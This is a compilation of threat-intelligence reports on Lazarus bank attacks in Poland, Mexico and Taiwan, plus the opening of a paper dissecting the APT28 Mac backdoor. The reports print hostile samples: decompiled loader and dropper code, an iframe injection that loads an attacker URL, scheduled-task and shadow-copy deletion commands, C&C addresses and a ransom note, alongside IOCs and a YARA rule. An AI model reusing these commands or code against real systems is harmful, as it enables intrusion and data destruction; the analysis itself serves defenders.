+Host: www.eye-watch[.]in
+SILVERLIGHT XAP FILE
+The cambio.xap archive sample (4cc10ab3f4ee6769e520694a10f611d5) does not use eye-watch[.]in as a
+C&C channel but instead was downloaded from the URL:
+hxxps://www.eye-watch[.]in/design/fancybox/include/cambio.xap
+'cambio' is Spanish for 'change'. The URL is similar to that noted in the BadCyber blog, and the use of an XAP file
+matches what can be found in the Archive.org cache for the sap.misapor[.]ch site.
+XAP is a software package format used for Microsoft Silverlight applications.
+It can be opened as a standard ZIP archive and contains the following files:
+AppManifest.xaml
+Shell_siver.dll
+System.Xml.Linq.dll
+Together they form a re-packaged exploit for Silverlight based on CVE-2016-0034 (MS16-006) 
+ a Silverlight
+Memory Corruption vulnerability. The exploit has previously been used by several exploit kits including RIG and
+Angler to deliver multiple crimeware tools.
+The Shell_siver.dll file contains a compile path:
+c:\Users\KKK\Desktop\Shell_siver\Shell_siver\obj\Release\Shell_siver.pdb
+Internally, the code of this DLL loads a 2nd stage library called binaryreader.Exploit 
+ as seen below with the
+XOR-encoded string:
+byte[] array = new byte[]
+115,120,127,112,99,104,99,116,112,117,
+116,99,63,84,105,97,125,126,120,101
+this.InitializeComponent();
+for (int i = 0; i < array.Length; i++)
+array[i] ^= 17;
+if (args.get_InitParams().get_Keys().Contains("shell32"))
+type.InvokeMember("run", 256, null, obj, new object[])
+This 2nd stage payload DLL contained within the assembly is 30,720 bytes in size and encoded with XOR 56:
+Buffer.BlockCopy(Resource1._1, 54, array, 0,
+30720);
+for (int i = 0; i < array.Length; i++)
+byte b = 56;
+array[i] ^= b;
+Once the payload stub is decoded, it represents itself as a PE-image, which is another .NET 4.0 assembly with the
+internal name binaryreader.dll.
+This second-stage DLL assembly, binaryreader.dll, is heavily obfuscated. The DLL (MD5 hash:
+7b4a8be258ecb191c4c519d7c486ed8a) is identical to the one reported in a malware traffic analysis blog post
+from March 2016 where it was used to deliver Qbot. Thus it is likely the code comes from a criminal exploit kit which
+is being leveraged for delivery in this campaign.
+A similarly named cambio.swf (MD5 hash: 6dffcfa68433f886b2e88fd984b4995a) was uploaded to
+VirusTotal from a US IP address in December 2016.
+IP WHITELISTS
+When examining the code on the exploit kit website a list of 255 IP address strings was found. The IPs only
+contained the first 3 octets, and would have been used to filter traffic such that only IPs on that subnet would be
+delivered the exploit and payload.
+The IP addresses corresponded to a mix of public and private financial institutions spread across the globe:
+However, banks in some specific countries feature prominently in the list:
+Rank
+Country
+Count
+Poland
+United States
+Mexico
+United Kingdom
+Chile
+Brazil
+Peru
+Colombia
+Denmark
+India
+The prominence of Polish and Mexican banks matches the observation of watering-hole code on sites in both
+countries.
+CONCLUSIONS
+The evidence available is currently incomplete and at the moment we can only conclude the following:
+ There has been a series of watering hole attacks on bank supervisor websites in Poland & Mexico, and a
+state owned bank in Uruguay in recent months. These leverage Silverlight and Flash exploits to deliver
+malware.
+ Investigators in Poland have identified known Lazarus group implants on bank networks and associated
+this with the recent compromise of the Polish Financial Supervision Authority's website.
+The technical/forensic evidence to link the Lazarus group actors (who we believe are behind the Bangladesh Bank
+attack and many others in 2016) to the watering-hole activity is unclear. However, the choice of bank supervisor /
+state-bank websites would be apt, given their previous targeting of Central Banks for Heists 
+ even when it serves
+little operational benefit for infiltrating the wider banking sector.
+Nonetheless, further evidence to connect together the pieces of this attack is needed, as well as insights into the
+end-goal of the culprits. We are continuing our analysis of new artefacts as they emerge and may issue further
+updates in due course.
+RECOMMENDATIONS
+We recommend organisations use the indicators provided in Appendix A to update their defensive systems to
+identify attacks. For compromised legitimate websites we would suggest a minimum 1 month block be placed on the
+domain. Patches against CVE-2016-0034 should be applied as soon as possible.
+APPENDIX A - INDICATORS OF ATTACK
+C&C IP address
+125.214.195.17
+196.29.166.218
+Compromised site
+knf.gov[.]pl (currently clean)
+www.cnbv.gob[.]mx (currently clean)
+brou.com[.]uy (currently clean)
+sap.misapor[.]ch
+www.eye-watch[.]in
+MD5 Hashes
+c1364bbf63b3617b25b58209e4529d8c
+85d316590edfb4212049c4490db08c4b
+1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae
+1507e7a741367745425e0530e23768e6
+911de8d67af652a87415f8c0a30688b2
+1f7897b041a812f96f1925138ea38c46
+cb52c013f7af0219d45953bae663c9a2
+4cc10ab3f4ee6769e520694a10f611d5
+7b4a8be258ecb191c4c519d7c486ed8a
+Taiwan Heist: Lazarus Tools and Ransomware
+baesystemsai.blogspot.kr /2017/10/taiwan-heist-lazarus-tools.html
+Written by Sergei Shevchenko, Hirman Muhammad bin Abu Bakar, and James Wong
+BACKGROUND
+Reports emerged just over a week ago of a new cyber-enabled bank heist in Asia. Attackers targeting Far Eastern
+International Bank (FEIB), a commercial firm in Taiwan, moved funds from its accounts to multiple overseas beneficiaries.
+In a story which reminds us of the Bangladesh Bank case 
+ the culprits had compromised the bank
+s system connected to
+the SWIFT network and used this to perform the transfers.
+In recent days, various malware samples have been uploaded to malware repositories which appear to originate from the
+intrusion. These include both known Lazarus group tools, as well as a rare ransomware variant called 
+Hermes
+ which may
+have been used as a distraction or cover-up for the security team whilst the heist was occurring.
+The timeline below provides an overview of the key events:
+October
+2017
+Malware compiled containing admin credentials for the FEIB network.
+October
+2017
+Transfers using MT103 messages were sent from FEIB to Cambodia, the US and Sri Lanka.
+Messages to cover the funds for the payments were incorrectly created and sent.
+October
+2017
+Breach discovered and ransomware uploaded to online malware repository site.
+October
+2017
+Individual in Sri Lanka cashes out a reported Rs30m (~$195,000).
+October
+2017
+Individual returns to collect more cash from account, arrested whilst doing so.
+October
+2017
+Press become aware of the incident.
+October
+2017
+Samples uploaded which include known Lazarus malware.
+Little information is available at present about when or how the attackers compromised the bank, but it is likely more details
+will emerge in the coming weeks. This blogpost seeks to summarise what is in the public domain at the moment, as well as
+analyse the samples uploaded to malware repositories.
+ANALYSIS
+Several files have been uploaded to malware databases which appear to be related to this attack, including an archive titled
+1/10
+FEIB_Samples
+ submitted from Taiwan on 12th Oct 2017. These and other samples are listed below:
+Filenames
+Submitted
+From
+First
+Seen
+Compile
+Time
+9563e2f443c3b4e1b00f25be0a30d56e
+FEIB_Samples_pwd(Virus).zi_
+201710-12
+02:50:16
+d08f1211fe0138134e822e31a47ec5d4
+bitsran.exe
+201710-03
+01:01:31
+201710-01
+15:37:31
+b27881f59c8d8cc529fa80a58709db36
+RSW7B37.tmp
+201710-03
+01:01:37
+201710-01
+11:34:07
+3c9e71400b72cc0213c9c3e4ab4df9df
+msmpeng.exe
+201710-07
+08:58:00
+201702-20
+11:09:30
+0edbad9e6041d43f97c7369439a40138
+FileTokenBroker.dll
+201710-12
+02:50:15
+201701-05
+01:11:33
+97aaf130cfa251e5207ea74b2558293d
+splwow32.exe
+201710-12
+02:50:15
+201702-20
+11:09:30
+62217af0299d6e241778adb849fd2823
+201710-08
+03:32:47
+201709-21
+09:27:43
+0dd7da89b7d1fe97e669f8b4156067c8
+201703-14
+02:13:01
+201703-06
+17:32:58
+61075faba222f97d3367866793f0907b
+201702-16
+03:25:00
+201702-10
+15:03:30
+File #1 is the ZIP file containing samples #2-6 inside. Samples #2-4 were also separately uploaded by users in Taiwan and
+the US on the dates given above.
+Samples #7-9 are older versions of the Hermes ransomware.
+Malware Analysis 
+ Sample #2; Bitsran loader / spreader
+Sample #2 is designed to run and spread a malicious payload on the victim's network. On execution, the malware places a
+copy of itself into the location:
+C:\Windows\Temp\bitsran.exe
+Next, the file establishes a persistence mechanism with the registry key:
+HKLM\Software\Microsoft\Windows\CurrentVersion\Run
+2/10
+It sets the value of 
+BITSRAN
+ to point to the executable in the Temp location above.
+The malware then enumerates all processes, searching for specific anti-virus processes and attempts to kill these using the
+command line tool taskkill.
+Process Name
+Process Description
+tmbmsrv.exe
+Trend Micro Unauthorized Change Prevention Service
+tmccsf.exe
+Trend Micro OfficeScan Common Client Solution Framework
+cntaosmgr.exe
+Trend Micro OfficeScan Add-on Service Client Management Service
+ntrtscan.exe
+Trend Micro OfficeScan NT RealTime Scan
+pccntmon.exe
+Trend Micro OfficeScan Antivirus real-time scan monitor
+tmlisten.exe
+Trend Micro OfficeScan NT Listener
+tmpfw.exe
+Trend Micro OfficeScan NT Firewall
+Next, the process attempts to find an embedded 
+IMAGE
+ resource with offset #110. If successful, this file is loaded into
+memory. When manually extracting this file, it can be seen to represent a pixelated bitmap (BMP) file.
+However, further investigation reveals that the file is what is known
+as a 
+Polyglot
+ file, whereby a file is contained within another file.
+Using a HEX viewer, it is possible to see that this file also contains
+a ZIP file (beginning at the 
+ header), with the pixelated image
+above referencing the bytes of the file to be RGB values.
+3/10
+The contents of this resource is decompressed from offset 54, with the last 4 bytes of the file specifying the ZIP
+s file size in
+bytes. When successfully decrypted, the file is saved into the same directory as the initial executable. This takes the
+filename 
+RSWXXXX.tmp
+, where 
+XXXX
+ is randomly generated through the GetTempFileName function. Once written to
+disk, this process is created through the CreateProcess function. Sample #3 (RSW7B37.tmp) is an example of this file.
+Whilst this additional payload is executing, the initial malware attempts to copy itself to other devices on the network. Two
+user accounts are hardcoded into the malware, and are used to establish connections to the C$ SMB shares on Windows
+devices. These are the accounts:
+Account Name
+Account Password
+FEIB\SPUSER14
+#ED{REMOVED}
+FEIB\scomadmin
+!it{REMOVED}
+Both accounts clearly relate to FEIB, though we couldn
+t confirm whether the credentials are valid or not. The SPUSER14
+may be a Sharepoint user account whilst scomadmin likely corresponds to System Center Operations Manager admin 
+an account for managing machines in a data centre.
+Instead of enumerating all devices on the network, the malware iterates through a hardcoded list of 5357 IP addresses, in
+the ranges:
+10.49.*
+10.50.*
+10.51.*
+10.59.*
+It is assumed that previous reconnaissance was conducted by the actors on the internal network to identify active and
+responding devices, as well as capturing admin credentials for the network.
+If a device successfully responds to a SMB packet on port 445, the malware copies itself to the C$ network share using the
+provided credentials, writing the file to the location:
+C:\Windows\Temp\bitsran.exe
+If successful, a further command is executed using the same credentials, to create a scheduled task on the remote device
+with the name 
+BITSRAN
+. The full command executed is:
+cmd.exe /c schtasks /create /tn 
+BITSRAN
+ /tr /s /u /p /st 00:00 /et 23:59 /sc minute /mo
+1 /ru system /f
+Malware Analysis 
+ Sample #3, Dropped file / Hermes Ransomware
+The dropped file is a variant of the Hermes ransomware.
+The ransomware calls GetSystemDefaultLangID() to obtain language identifier for the system locale. It contains a list of
+three system language codes: 0x0419 (Russian), 0x0422 (Ukrainian), and 0x0423 (Belarusian). However, it only checks
+against the last two, and, if matching, the malware quits. Whether this is a false-flag or not is unknown.
+4/10
+The ransomware deletes the Volume Shadow Copies (a type of backup on Windows), using command:
+vssadmin Delete Shadows /all
+/quiet
+Following that, it deletes all VSS (Volume Shadow Copy Service) backup files (which include System Restore files) and
+orphaned shadows, by running commands below for the drives from C:, D:, E:, F:, G:, and H:
+vssadmin resize shadowstorage /for=%DRIVE% /on=%DRIVE% /maxsize=401MB vssadmin resize
+shadowstorage /for=%DRIVE% /on=%DRIVE% /maxsize=unbounded
+The trick above is called "pulling the carpet" as it forces Windows to voluntarily dump all shadows due to lack of space.
+The ransomware then recursively deletes all backup files from the drives C:, D:, E:, F:, G:, and H:, having the following
+extensions:
+*.VHD
+*.bac
+*.bak
+*.wbcat
+*.bkf
+Backup*.*
+backup*.*
+*.set
+*.win
+*.dsk
+Using Windows CryptoAPI platform, the malware creates an exchange key pair, and then exports the 2,048-bit public RSA
+key into an external file called PUBLIC.
+The ransomware then enumerates both local and network resources, and encrypts files using 2,048-bit RSA algorithm.
+Each encrypted directory will have a ransom note left in it:
+HERMES 2.1 RANSOMWARE radical edition
+All your important files are encrypted
+Your files has been encrypted using RSA2048 algorithm with unique public-key stored on
+your PC.
+There is only one way to get your files back: contact with us, pay, and get decryptor
+software.
+You have "UNIQUE_ID_DO_NOT_REMOVE" file on your desktop also it duplicated in some
+folders,
+its your unique idkey, attach it to letter when contact with us. Also you can decrypt 3
+files for test.
+We accept Bitcoin, you can find exchangers on https://www.bitcoin.com/buy-bitcoin and
+others.
+Contact information: BM-2cVcZL1xfve1yGGKwEBgG1ge6xJ5PYGfGw@bitmessage.ch
+reserve: BM-2cT4U1vBdjfqKDeWMEXgCWs9SfnMK1GLTF@bitmessage.ch
+Malware Analysis 
+ Samples #4 and #6, Lazarus malware
+5/10
+Sample #4 (msmpeng.exe) is packed with Themida to hamper analysis under a debugger, a monitoring application, or a
+virtual machine.
+Once fully unpacked in memory, it appears to be an x86 variant of the fdsvc.dll backdoor described in our February
+blogpost 
+Lazarus
+ False Flag Malware
+. This malware was discovered on networks in Poland and Mexico, following a
+series of watering-hole attacks.
+Just like before, the backdoor uses several transliterated Russian words to either indicate the state of its communication or
+issue backdoor commands:
+State/Command
+Translation from Russian
+Meaning
+Nachalo
+beginning
+start communication session
+ustanavlivat
+to set
+handshake state
+poluchit
+to receive
+receive data
+pereslat
+to send
+send data
+derzhat
+to maintain
+maintain communication session
+vykhodit
+to exit
+exit communication session
+kliyent2podklyuchit
+client to connect
+client is ready to connect
+Sample #6 (splwow32.exe) is the same backdoor, only it
+s not packed.
+Both sample #4 and #6 have the same time stamp: 20 February 2017, 11:09:30. It appears that sample #6 was actually
+obtained by packing sample #4 with Themida (potentially, to avoid detection), as code/data found in both samples is
+identical.
+The backdoor expects a command line parameter that specifies remote C&C address and port number. If it is executed
+with no command-line parameters, it quits.
+The specified command-line parameter is decrypted, using some basic character manipulations and applying XOR with 2
+keys:
+0x517A4563 (
+QzEc
+0x77506F66 (
+wPof
+The decrypted string is expected to delimit C&C address and port number with the 
+ character. Multiple C&Cs can be
+delimited with the 
+ character.
+If the backdoor finds no valid pair of C&C address and port number delimited with the 
+ character, it quits.
+Otherwise, it starts polling the remote C&C for a remote task to execute. Each polling attempt starts from a state
+Nachalo
+start communication session
+), with a 3 second delay between each attempt to connect to the C&C.
+Each connection attempt starts from a state called 
+kliyent2podklyuchit
+client is ready to connect
+If the backdoor fails to connect five times, or if it connects, but the task it receives is 
+vykhodit
+exit communication
+session
+), then the backdoor will quit. Otherwise, it will execute the remote command, effectively giving the attackers full
+control over the compromised system. After the execution, the polling cycle continues.
+6/10
+Malware Analysis 
+ Sample #5
+FileTokenBroker.dll is a DLL, installed as a service under the svchost.exe (netsvcs) service host.
+Once loaded as a service DLL, the DLL's export ServiceMain() is called. The DLL then constructs a file name that consists
+of the host process name, formatted as:
+%SYSTEM%\en-US\[HOST_PROCESS_NAME_NO_EXTENSION].dll.mui
+For example, if the DLL is loaded into the address space of svchost.exe, the constructed filename will be:
+c:\windows\system32\en-US\svchost.dll.mui
+Another possible name is:
+c:\windows\system32\en-US\netsvc.dll.mui
+The DLL then reads this file, and decrypts it with a running XOR mask. Once decrypted, it further reads an RC4 key from it,
+and decrypts it with the RC4 algorithm.
+The decrypted file will contain a hash, so the DLL checks the hash as well to make sure the integrity of the decrypted file is
+intact.
+A fully decrypted file is then parsed as a PE file, and loaded as a DLL.
+Hence, FileTokenBroker.dll decrypts and executes a payload that is created by an external dropper or is implanted
+by the attackers.
+The %SYSTEM%\en-US directory will have multiple system files in it, so it is chosen to blend the encrypted payload file with
+the other legitimate system files. Unlike other *.dll.mui files in %SYSTEM%\en-US directory that are MZ files, the
+encrypted payload is not an MZ file.
+Malware Analysis 
+ Samples #7, #8, and #9, Further Hermes malware
+Samples #7, #8, and #9 relate to previous instances of Hermes ransomware.
+Malware of this category is typically widespread, but in the case of Hermes it seems relatively rare. This is suspicious in
+itself and reminds us of WannaCry 
+ another rarely observed ransomware. Further analysis is on-going to understand the
+history of this malware variant.
+Transactions
+Through working with trusted partners, we have been able to get insight into the transactions made as part of the heist. The
+transactions consisted of two common SWIFT message types, MT103 and MT202COV.
+MT103 messages are used for normal, cross border, cash transfers which would typically request funds be transferred into
+a personal or company beneficiary account. MT103 messages can be used on their own, or can be coupled with a cover
+message; MT202COV is used to order the movement of funds to the beneficiary institution via another financial
+institution/Intermediary Bank.
+In this heist the attackers created MT103 messages to transfer funds to Cambodia, the US, and Sri Lanka. In addition to the
+7/10
+MT103 messages, the attackers created MT202COV messages; the content of these messages was syntactically correct but
+the values in specific fields were wrong. As a result, they were received by the intermediary bank but had no further
+influence on the funds transferred to the beneficiary accounts.
+Reports of $60M being stolen appear to be due to confusion over these latter messages, and the amounts actually stolen
+were considerably lower. Most of these appear to have been recovered.
+Further details of the destination accounts within Sri Lanka have emerged in open source. The money had been transferred
+to the Bank of Ceylon in Sri Lanka on 3 October. The following day, an individual in Sri Lanka allegedly withdrew RS 30m
+(about $195K). Two days after that, the same individual returned to withdraw a further RS 8m, but was arrested when he
+arrived at the bank. Sri Lankan police have since arrested another individual and a further suspect is wanted by Sri Lankan
+law enforcement.
+CONCLUSIONS
+It has been over a year since the last activity on a payments system from the attackers behind the infamous Bangladesh
+Bank heist. Lazarus, the prime suspects, have been busy nonetheless 
+ targeting Bitcoin in various ways, as well as other
+intrusions into banks such as in Poland and Mexico (albeit without evidence of targeting payment systems). In one of these
+cases we and other researchers were able to observe infrastructure in North Korea controlling the malware 
+ further clues
+as to the origins of these attackers.
+The attack this month on Taiwanese Far Eastern International Bank has some of the hallmarks of the Lazarus group:
+ Destination beneficiary accounts in Sri Lanka and Cambodia 
+ both countries have been used previously as
+destinations for Lazarus
+ bank heist activity;
+ Use of malware previously seen in Lazarus
+ Poland and Mexico bank attacks. Where these files were found and
+the context of their use needs to be confirmed, but could provide a crucial attributive link;
+ Use of unusual ransomware, potentially as a distraction.
+Despite their continued success in getting onto payment systems in banks, the Lazarus group still struggle getting the cash
+in the end, with payments being reversed soon after the attacks are uncovered. The group may be trying new tricks to
+disrupt victims and delay their ability to respond 
+ such as different message formats, and the deployment of ransomware
+across the victim
+s network as a smokescreen for their other activity. It
+s likely they
+ll continue their heist attempts against
+banks in the coming months and we expect they will evolve their modus operandi to incorporate new ways of disrupting
+victims (and possibly the wider community) from responding.
+More work needs to be done to identify how FEIB was attacked, whether further custom tools were involved, confirm the
+context of the Lazarus malware in the intrusion, and where else this Hermes ransomware has been seen.
+Assuming Lazarus are indeed back to targeting bank payment systems, this will serve to emphasize the importance of
+network hardening and controls frameworks being pushed by the industry at present.
+RECOMMENDATIONS
+Some general network hardening and monitoring lessons can be taken from this:
+ Firewall off SMB (445) for internal computers. If access to this service is required, it should be permitted only for
+those IP
+s that require access. i.e. 445 is required for SCOM to push an agent install, therefore 445 should only be
+allowed from that source server;
+8/10
+ Application blacklisting should be implemented to prevent the use of tools such as vssadmin.exe, cmd.exe,
+powershell.exe and similar;
+ File Integrity Monitoring should be considered and configured to monitor file creations in 
+trusted
+ locations such
+as the System32 directory. This can also be used to monitor deletes, with an alert configured to fire on excessive
+deletes in a row;
+ Windows Security Event logs should be monitored to capture Scheduled Task creation events 
+ Event ID 4698;
+ Registry Auditing should be enabled and monitored to capture any additions to
+HKLM\Software\Microsoft\Windows\CurrentVersion\Run;
+ Excessive use of known administrative privilege accounts should be alerted on 
+ specifically in a 
+one to many
+behavioural configuration. i.e. is one specific IP connecting to a large number of devices using the same credentials
+in a short period of time;
+ Ensure privileged accounts have a complex password that does not include any part of the username, or
+application it relates to.
+Additional longer term recommendations for financial institutions:
+ Practice incident response scenarios which include complex attacks combining covert payment fraud and overt
+network disruption through ransomware, DDoS, network downtime, etc.
+ Ensure that you are progressing towards being able to attest against the SWIFT 27 controls.
+For more information see:
+http://www.baesystems.com/en/cybersecurity/swift-customer-security-programme
+APPENDIX A 
+ INDICATORS OF ATTACK
+MD5 Hashes
+d08f1211fe0138134e822e31a47ec5d4
+b27881f59c8d8cc529fa80a58709db36
+3c9e71400b72cc0213c9c3e4ab4df9df
+0edbad9e6041d43f97c7369439a40138
+97aaf130cfa251e5207ea74b2558293d
+62217af0299d6e241778adb849fd2823
+0dd7da89b7d1fe97e669f8b4156067c8
+61075faba222f97d3367866793f0907b
+File / Process name
+bitsran.exe
+APPENDIX B 
+ YARA RULE
+9/10
+rule Hermes2_1 {
+meta:
+date = "2017/10/11"
+author = "BAE"
+hash = "b27881f59c8d8cc529fa80a58709db36"
+strings:
+$magic = { 4D 5A }
+//in both version 2.1 and sample in Feb
+$s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\"
+$s2 = "0419"
+$s3 = "0422"
+$s4 = "0423"
+//in version 2.1 only
+$S1 = "HERMES"
+$S2 = "vssadminn"
+$S3 = "finish work"
+$S4 = "testlib.dll"
+$S5 = "shadowstorageiet"
+//maybe unique in the file
+$u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777"
+$u2 = "HERMES 2.1 TEST BUILD, press ok"
+$u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA" //RSA Key part
+condition:
+$magic at 0 and all of ($s*) and 3 of ($S*) and 1 of ($u*)
+10/10
+Several Polish banks hacked, information stolen by unknown
+attackers
+badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/
+badcyber
+2/3/2017
+Polish banks are frantically scanning their workstations and servers while checking logs in the search of signs of
+infection after some of them noticed unusual network activity and unauthorised files on key machines within their
+networks. This is 
+ by far 
+ the most serious information security incident we have seen in Poland.
+It has been a busy week in SOCs all over Polish financial sector. At least a few of Polish 20-something commercial
+banks have already confirmed being victims of a malware infection while others keep looking. Network traffic to exotic
+locations and encrypted executables nobody recognised on some servers were the first signs of trouble. A little more
+than a week ago one of the banks detected strange malware present in a few workstations. Having established basic
+indicators of compromise managed to share that information with other banks, who started asking their SIEMs for
+information. In some cases the results came back positive.
+Delivery
+Preliminary investigation suggests that the starting point for the infection could have been located on the webserver of
+Polish financial sector regulatory body, Polish Financial Supervision Authority (www.knf.gov.pl). Due to a slight
+modification of one of the local JS files, an external JS file was loaded, which could have executed malicious payloads
+on selected targets. This would be really ironic if the website of the key institution responsible for assuring proper
+security level in the banking sector was used to attack it.
+Current website status is 
+under maintenance
+Data from PassiveTotal does confirm the finding related to external resources included in knf.gov.pl website since
+2016-10-07 till yesterday.
+To unauthorised code was located in the following file:
+http://www.knf.gov.pl/DefaultDesign/Layouts/KNF2013/resources/accordian-src.js?ver=11
+and looked like that:
+document.write("<div id='efHpTk' width='0px' height='0px'><iframe name='forma'
+src='https://sap.misapor
+.ch/vishop/view.jsp?pagenum=1' width='145px' height='146px' style='left:2144px;position:absolute;top
+:0px;'></iframe></div>");
+After successful exploitation malware was downloaded to the workstation, where, once executed, connected to some
+foreign servers and could be used to perform network reconnaissance, lateral movement and data exfiltration. At least
+in some cases the attackers managed to gain control over key servers within bank infrastructure.
+Malware
+While you can find some hashes at the end of this article, we gathered the available information regarding the
+malware itself. While there might be some elements borrowed from other similar tools and crimeware strategies, the
+malware used in this attack has not been documented before. It uses some commercial packers and multiple
+obfuscation methods, has multiple stages, relies on encryption and at the moment of initial analysis was not
+recognised by available AV solutions. The final payload has the functionality of a regular RAT.
+Motivation
+While we have no idea of attackers motivation, so far we have no knowledge of any direct financial losses incurred by
+banks or their customers due to this attack. What is more troubling, some of the victims were able to identify large
+outgoing data transfers. So far they could not identify the contents of the data as it was encrypted. Investigation
+continues to fully understand the scope of losses.
+Conclusions & IOCs
+While this should not come as a surprise, this incident is the perfect example of the statement 
+you are going to get
+infected
+. Polish financial sector has some of the best people and tools in terms of security and still it looks like the
+attackers achieved their objectives without major hurdles in at least some cases. On the good side 
+ they were
+detected and once notified banks were able to quickly identify infected machines and suspicious traffic patterns. The
+whole process lacked solid information sharing, but this is a problem know everywhere.
+We hope to continue investigating this incident and share with you more details about the malware itself in the future.
+Meanwhile please find attached some IOCs we can share today:
+MD5, SHA1, SHA256 hashes of some samples:
+C1364BBF63B3617B25B58209E4529D8C
+85D316590EDFB4212049C4490DB08C4B
+1BFBC0C9E0D9CEB5C3F4F6CED6BCFEAE
+496207DB444203A6A9C02A32AFF28D563999736C
+4F0D7A33D23D53C0EB8B34D102CDD660FC5323A2
+BEDCEAFA2109139C793CB158CEC9FA48F980FF2B
+FC8607C155617E09D540C5030EABAD9A9512F656F16B38682FD50B2007583E9B
+D4616F9706403A0D5A2F9A8726230A4693E4C95C58DF5C753CCC684F1D3542E2
+CC6A731E9DAFF84BAE4214603E1C3BAD8D6735B0CBB2A0EC1635B36E6A38CB3A
+Some C&C IP addresses:
+125.214.195.17
+196.29.166.218
+Potentially malicious URLs included in knf.gov.pl website:
+http://sap.misapor.ch/vishop/view.jsp?pagenum=1
+https://www.eye-watch.in/design/fancybox/Pnf.action
+Paper
+Dissecting the APT28
+Mac OS X Payload
+White Paper
+Authors:
+Tiberius Axinte, Technical Lead, Antimalware Lab
+Bogdan Botezatu - senior e-threat analyst
+White Paper
+A post-mortem analysis of
+Trojan.MAC.APT28 - XAgent
+For the past decade, Windows users have been the main targets of consumer, for-profit cybercrime. Even now, malware on platforms such
+as Mac OS X and Linux is extremely scarce compared with the Windows threat landscape.
+Enter the upper tiers of malware creation: advanced persistent threats. These extremely complex, highly customized files are after targets,
+not platforms. Attacks such as those persistently carried out by APT28 target multiple individuals in multiple organizations who run a wide
+range of hardware and software configurations.
+Since the group
+s emergence in 2007, Bitdefender has become familiar with the backdoors used to compromise Windows and Linux
+targets, such as Coreshell, Jhuhugit and Azzy for the former OS or Fysbis for the latter. This year we have been able to finally isolate the
+Mac OS X counterpart - the XAgent modular backdoor. This whitepaper describes our journey in dissecting the backdoor and documenting
+it piece by piece.
+White Paper
+A. Context
+In mid-February this year, we discovered a new Mac sample that appeared to be the Mac version of the APT28 XAgent component.
+This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen
+grabbing and file exfiltration. Until now this component was only available for Windows, Linux and iOS operating systems. Though you
+might expect this Mac version of XAgent to be the iOS version compiled to work on Mac, it is a different creation, with a much more
+advanced feature set.
+The Mac version shares multiple similarities with those designed for other operating systems. However, the Mac agent brings more
+spying capabilities such as stealing iOS backups from Mac computers, which contain messages, contacts, voicemail, call history, notes,
+calendar and Safari data.
+B. Attack Flow
+Last year on 26 of September, PaloAlto identified a new Mac OS X Trojan associated with the APT28/Sofacy group that received the
+Komplex
+ name. The Komplex Trojan is a binder with multiple parts: a dropper, a payload and a decoy pdf file.
+1. The Komplex Binder: Is the main executable of 
+roskosmos_2015-2025.app
+. Its main purpose is to save a second payload(the dropper)
+on the system and open the decoy pdf file pictured below.
+v7 = objc_msgSend(&OBJC_CLASS___NSString, 
+stringWithFormat:
+, CFSTR(
+%@/roskosmos_2015-2025.pdf
+v6);
+v8 = objc_msgSend(&OBJC_CLASS___NSString, 
+stringWithFormat:
+, CFSTR(
+SetFile -a E %@/
+roskosmos_2015-2025.pdf
+), v6);
+v9 = objc_msgSend(&OBJC_CLASS___NSString, 
+stringWithFormat:
+, CFSTR(
+rm -rf %@/roskosmos_2015-2025.
+), v6);
+v10 = objc_msgSend(
+&OBJC_CLASS___NSString,
+stringWithFormat:
+CFSTR(
+open -a Preview.app %@/roskosmos_2015-2025.pdf
+v6);
+v11 = objc_msgSend(&OBJC_CLASS___NSData, 
+dataWithBytes:length:
+, &joiner, 135028LL);
+objc_msgSend(v11, 
+writeToFile:atomically:
+, CFSTR(
+/tmp/content
+), 1LL);
+v12 = (const char *)objc_msgSend(v9, 
+UTF8String
+system(v12);
+system(
+chmod 755 /tmp/content
+v13 = objc_msgSend(&OBJC_CLASS___NSData, 
+dataWithBytes:length:
+, &pdf, 1584258LL);
+objc_msgSend(v13, 
+writeToFile:atomically:
+, v7, 1LL);
+v14 = (const char *)objc_msgSend(v8, 
+UTF8String
+system(v14);
+v15 = objc_msgSend(&OBJC_CLASS___NSTask, 
+alloc
+v16 = objc_msgSend(v15, 
+init
+objc_msgSend(v16, 
+setLaunchPath:
+, CFSTR(
+/tmp/content
+objc_msgSend(v16, 
+launch
+objc_msgSend(v16, 
+waitUntilExit
+v17 = (const char *)objc_msgSend(v10, 
+UTF8String
+system(v17);
+The Komplex Binder
+White Paper
+Komplex: roskosmos_2015-2025.pdf
+2. The Komplex Dropper: Its main functionality is to drop a third Komplex component: the final payload, and ensure persistence on the
+infected system
+system(
+mkdir -p /Users/Shared/.local/ &> /dev/null
+system(
+mkdir -p ~/Library/LaunchAgents/ &> /dev/null
+off_10001B4F0(v5, &off_10001B4F0, CFSTR(
+/Users/Shared/.local/kextd
+), 1LL);
+off_10001B4F0(v6, &off_10001B4F0, CFSTR(
+/Users/Shared/com.apple.updates.plist
+), 1LL);
+off_10001B4F0(v7, &off_10001B4F0, CFSTR(
+/Users/Shared/start.sh
+), 1LL);
+system(
+cp /Users/Shared/com.apple.updates.plist $HOME/Library/LaunchAgents/ &>/dev/null
+remove(
+/Users/Shared/com.apple.updates.plist
+system(
+chmod 755 /Users/Shared/.local/kextd
+system(
+chmod 755 /Users/Shared/start.sh
+3. The Komplex Payload: Is the final component of the Komplex malware, with the sole purpose of downloading and executing a file, as
+requested by the C&C servers.
+In other words, Komplex is an APT28/Sofacy component that can be distributed via email, disguised as a PDF document, to establish
+a foothold in a system. Once it infects the host, it can download and run the next APT28/Sofacy component, which - to the best of our
+knowledge - is the XAgent malware that forms the object of this paper.
+Our assumption is guided by hard evidence included in the binary. Our forensics endeavor revealed a number of indicators that made us
+think XAgent was distributed via Komplex malware:
+White Paper
+Project path
+Komplex
+XAgent
+/Users/kazak/Desktop/Project/komplex
+/Users/kazak/Desktop/Project/XAgentOSX
+Malware path /Users/Shared/.local/kextd
+on the infected
+system
+/Username/Library/Assistants/.local/random_name
+apple-iclods.org
+apple-iclods[.]net
+Possible Attack Flow
+White Paper
+C. Initialization
+The main module of the XAgent component is called BootXLoader. Upon starting, it calls the runLoader method, which orchestrates the
+following:
+Checks if a debugger is present and, if so, the malware exits.
+v29 = 1;
+v30 = 14;
+v31 = 1;
+v32 = getpid();
+v26 = 648LL;
